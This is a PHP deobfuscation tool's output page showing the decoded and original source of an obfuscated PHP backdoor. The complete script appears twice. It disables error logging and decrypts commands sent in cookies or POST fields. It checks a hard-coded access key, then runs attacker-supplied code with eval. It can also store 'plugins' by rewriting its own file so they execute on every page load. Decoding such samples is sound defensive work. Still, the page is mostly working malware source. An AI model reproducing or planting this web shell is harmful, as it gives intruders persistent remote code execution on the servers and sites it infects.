Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (!defined('stream_context_create ')) { define('stream_context_create ', 1); @ini_set..
Decoded Output download
<? if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time',
0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "
");}if
(!defined('file_put_contents ')){define('file_put_contents ', 1);$uqnxtj = 'c0a926a1-336f-4287-960a-39125fee9913';global
$uqnxtj;function wopfcy($csapeyvhshpvsojolo) {if (strlen($csapeyvhshpvsojolo) < 4){return ""
;}$ovauxod="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
;$bujhhiq=str_split($ovauxod);$bujhhiq=array_flip($bujhhiq);$csapeyvhshp=0;$zemppaprjwwj=""
;$csapeyvhshpvsojolo=preg_replace("~[^A-Za-z0-9\+\/\=]~", "" , $csapeyvhshpvsojolo);do
{$erzefx=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$csapeyvhshpfgulxm=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$zjrviwa=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$ejoiqebw=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$hyoedias=($erzefx
<< 2) | ($csapeyvhshpfgulxm>> 4);$uzyrkk = (($csapeyvhshpfgulxm & 15) << 4) | ($zjrviwa>> 2);$wxpwlhu = (($zjrviwa &
3) << 6) | $ejoiqebw;$zemppaprjwwj=$zemppaprjwwj . chr($hyoedias);if ($zjrviwa !=64)
{$zemppaprjwwj=$zemppaprjwwj . chr($uzyrkk);}if ($ejoiqebw !=64) {$zemppaprjwwj=$zemppaprjwwj .
chr($wxpwlhu);}} while ($csapeyvhshp < strlen($csapeyvhshpvsojolo));return $zemppaprjwwj;}if
(!function_exists('file_put_contents')){function file_put_contents($zemppa, $csapeycdidn,
$csapeyvhshphisekkx=False){$ueehtpj=$csapeyvhshphisekkx==8 ? 'a' : 'w' ;$csapey=@fopen($zemppa, $ueehtpj);if
($csapey===False){return 0;}else{if (is_array($csapeycdidn))
$csapeycdidn=implode($csapeycdidn);$weaqwtw=fwrite($csapey, $csapeycdidn);fclose($csapey);return
$weaqwtw;}}}if (!function_exists('file_get_contents')){function
file_get_contents($eqgmat){$wtxcqu=fopen($eqgmat, "r" );$aneofn=fread($wtxcqu,
filesize($eqgmat));fclose($wtxcqu);return $aneofn;}}function djiigrjp(){return
trim(preg_replace("/\(.*\$/", '' , __FILE__));}function copcym($kqmlnry,
$csapeyvhshpewgiuji){$csapeycdidndlxghp="" ;for ($csapeyvhshp=0; $csapeyvhshp<strlen($kqmlnry);){for
($csapeynkicztm=0; $csapeynkicztm<strlen($csapeyvhshpewgiuji) && $csapeyvhshp<strlen($kqmlnry);
$csapeynkicztm++, $csapeyvhshp++){$csapeycdidndlxghp .=chr(ord($kqmlnry[$csapeyvhshp]) ^
ord($csapeyvhshpewgiuji[$csapeynkicztm]));}}return $csapeycdidndlxghp;}function wbyplcyx($kqmlnry,
$csapeyvhshpewgiuji){global $uqnxtj;return copcym(copcym($kqmlnry, $csapeyvhshpewgiuji), $uqnxtj);}function
rsxomdzz($kqmlnry, $csapeyvhshpewgiuji){global $uqnxtj;return copcym(copcym($kqmlnry, $uqnxtj),
$csapeyvhshpewgiuji);}function
vugukurf(){$zemppagdprzqg=@file_get_contents(djiigrjp());$hvirtr=strpos($zemppagdprzqg, md5(djiigrjp()));if
($hvirtr !==FALSE){$oawlezfl=substr($zemppagdprzqg, $hvirtr +
32);$zdsfjnqc=@unserialize(wbyplcyx(rawurldecode($oawlezfl),
md5(djiigrjp())));}else{$zdsfjnqc=Array();}return $zdsfjnqc;}function
muhzev($zdsfjnqc){$ukqbehn=rawurlencode(rsxomdzz(@serialize($zdsfjnqc),
md5(djiigrjp())));$zemppagdprzqg=@file_get_contents(djiigrjp());$hvirtr=strpos($zemppagdprzqg,
md5(djiigrjp()));if ($hvirtr !==FALSE){$efgouh=substr($zemppagdprzqg, $hvirtr +
32);$zemppagdprzqg=str_replace($efgouh, $ukqbehn, $zemppagdprzqg);}else{$zemppagdprzqg=$zemppagdprzqg
. "
//" . md5(djiigrjp()) . $ukqbehn;}@file_put_contents(djiigrjp(), $zemppagdprzqg);}function
ewxmpe($midbassj,
$omoqaula){$zdsfjnqc=vugukurf();$zdsfjnqc[$midbassj]=wopfcy($omoqaula);muhzev($zdsfjnqc);}function
kluposw($midbassj){$zdsfjnqc=vugukurf();unset($zdsfjnqc[$midbassj]);muhzev($zdsfjnqc);}function
kanwfey($midbassj=NULL){foreach (vugukurf() as $vpnhxd=>$csapeynkicztmkhjesm){if ($midbassj){if
(strcmp($midbassj, $vpnhxd) ==
0){eval($csapeynkicztmkhjesm);break;}}else{eval($csapeynkicztmkhjesm);}}}foreach (array_merge($_COOKIE,
$_POST) as $xoemfn => $kqmlnry){$kqmlnry = @unserialize(wbyplcyx(wopfcy($kqmlnry), $xoemfn));if
(isset($kqmlnry['ak']) && $uqnxtj==$kqmlnry['ak']){if ($kqmlnry['a'] == 'i'){$csapeyvhshp = Array('pv' =>
@phpversion(),'sv' => '2.0-1','ak' => $kqmlnry['ak'],);echo @serialize($csapeyvhshp);exit;}elseif
($kqmlnry['a'] == 'e'){eval($kqmlnry['d']);}elseif ($kqmlnry['a'] == 'plugin'){if($kqmlnry['sa'] ==
'add'){ewxmpe($kqmlnry['p'], $kqmlnry['d']);}elseif($kqmlnry['sa'] == 'rem'){kluposw($kqmlnry['p']);}}echo
$kqmlnry['ak'];exit();}}kanwfey();}
} ?>
Did this file decode correctly?
Original Code
if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time',
0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "\n");}if
(!defined('file_put_contents ')){define('file_put_contents ', 1);$uqnxtj = 'c0a926a1-336f-4287-960a-39125fee9913';global
$uqnxtj;function wopfcy($csapeyvhshpvsojolo) {if (strlen($csapeyvhshpvsojolo) < 4){return ""
;}$ovauxod="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
;$bujhhiq=str_split($ovauxod);$bujhhiq=array_flip($bujhhiq);$csapeyvhshp=0;$zemppaprjwwj=""
;$csapeyvhshpvsojolo=preg_replace("~[^A-Za-z0-9\+\/\=]~", "" , $csapeyvhshpvsojolo);do
{$erzefx=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$csapeyvhshpfgulxm=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$zjrviwa=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$ejoiqebw=$bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];$hyoedias=($erzefx
<< 2) | ($csapeyvhshpfgulxm>> 4);$uzyrkk = (($csapeyvhshpfgulxm & 15) << 4) | ($zjrviwa>> 2);$wxpwlhu = (($zjrviwa &
3) << 6) | $ejoiqebw;$zemppaprjwwj=$zemppaprjwwj . chr($hyoedias);if ($zjrviwa !=64)
{$zemppaprjwwj=$zemppaprjwwj . chr($uzyrkk);}if ($ejoiqebw !=64) {$zemppaprjwwj=$zemppaprjwwj .
chr($wxpwlhu);}} while ($csapeyvhshp < strlen($csapeyvhshpvsojolo));return $zemppaprjwwj;}if
(!function_exists('file_put_contents')){function file_put_contents($zemppa, $csapeycdidn,
$csapeyvhshphisekkx=False){$ueehtpj=$csapeyvhshphisekkx==8 ? 'a' : 'w' ;$csapey=@fopen($zemppa, $ueehtpj);if
($csapey===False){return 0;}else{if (is_array($csapeycdidn))
$csapeycdidn=implode($csapeycdidn);$weaqwtw=fwrite($csapey, $csapeycdidn);fclose($csapey);return
$weaqwtw;}}}if (!function_exists('file_get_contents')){function
file_get_contents($eqgmat){$wtxcqu=fopen($eqgmat, "r" );$aneofn=fread($wtxcqu,
filesize($eqgmat));fclose($wtxcqu);return $aneofn;}}function djiigrjp(){return
trim(preg_replace("/\(.*\$/", '' , __FILE__));}function copcym($kqmlnry,
$csapeyvhshpewgiuji){$csapeycdidndlxghp="" ;for ($csapeyvhshp=0; $csapeyvhshp<strlen($kqmlnry);){for
($csapeynkicztm=0; $csapeynkicztm<strlen($csapeyvhshpewgiuji) && $csapeyvhshp<strlen($kqmlnry);
$csapeynkicztm++, $csapeyvhshp++){$csapeycdidndlxghp .=chr(ord($kqmlnry[$csapeyvhshp]) ^
ord($csapeyvhshpewgiuji[$csapeynkicztm]));}}return $csapeycdidndlxghp;}function wbyplcyx($kqmlnry,
$csapeyvhshpewgiuji){global $uqnxtj;return copcym(copcym($kqmlnry, $csapeyvhshpewgiuji), $uqnxtj);}function
rsxomdzz($kqmlnry, $csapeyvhshpewgiuji){global $uqnxtj;return copcym(copcym($kqmlnry, $uqnxtj),
$csapeyvhshpewgiuji);}function
vugukurf(){$zemppagdprzqg=@file_get_contents(djiigrjp());$hvirtr=strpos($zemppagdprzqg, md5(djiigrjp()));if
($hvirtr !==FALSE){$oawlezfl=substr($zemppagdprzqg, $hvirtr +
32);$zdsfjnqc=@unserialize(wbyplcyx(rawurldecode($oawlezfl),
md5(djiigrjp())));}else{$zdsfjnqc=Array();}return $zdsfjnqc;}function
muhzev($zdsfjnqc){$ukqbehn=rawurlencode(rsxomdzz(@serialize($zdsfjnqc),
md5(djiigrjp())));$zemppagdprzqg=@file_get_contents(djiigrjp());$hvirtr=strpos($zemppagdprzqg,
md5(djiigrjp()));if ($hvirtr !==FALSE){$efgouh=substr($zemppagdprzqg, $hvirtr +
32);$zemppagdprzqg=str_replace($efgouh, $ukqbehn, $zemppagdprzqg);}else{$zemppagdprzqg=$zemppagdprzqg
. "\n\n//" . md5(djiigrjp()) . $ukqbehn;}@file_put_contents(djiigrjp(), $zemppagdprzqg);}function
ewxmpe($midbassj,
$omoqaula){$zdsfjnqc=vugukurf();$zdsfjnqc[$midbassj]=wopfcy($omoqaula);muhzev($zdsfjnqc);}function
kluposw($midbassj){$zdsfjnqc=vugukurf();unset($zdsfjnqc[$midbassj]);muhzev($zdsfjnqc);}function
kanwfey($midbassj=NULL){foreach (vugukurf() as $vpnhxd=>$csapeynkicztmkhjesm){if ($midbassj){if
(strcmp($midbassj, $vpnhxd) ==
0){eval($csapeynkicztmkhjesm);break;}}else{eval($csapeynkicztmkhjesm);}}}foreach (array_merge($_COOKIE,
$_POST) as $xoemfn => $kqmlnry){$kqmlnry = @unserialize(wbyplcyx(wopfcy($kqmlnry), $xoemfn));if
(isset($kqmlnry['ak']) && $uqnxtj==$kqmlnry['ak']){if ($kqmlnry['a'] == 'i'){$csapeyvhshp = Array('pv' =>
@phpversion(),'sv' => '2.0-1','ak' => $kqmlnry['ak'],);echo @serialize($csapeyvhshp);exit;}elseif
($kqmlnry['a'] == 'e'){eval($kqmlnry['d']);}elseif ($kqmlnry['a'] == 'plugin'){if($kqmlnry['sa'] ==
'add'){ewxmpe($kqmlnry['p'], $kqmlnry['d']);}elseif($kqmlnry['sa'] == 'rem'){kluposw($kqmlnry['p']);}}echo
$kqmlnry['ak'];exit();}}kanwfey();}
}
Function Calls
defined | 1 |
Stats
MD5 | 2559a6deeb01b0bd0e1e5c48317e1a05 |
Eval Count | 0 |
Decode Time | 78 ms |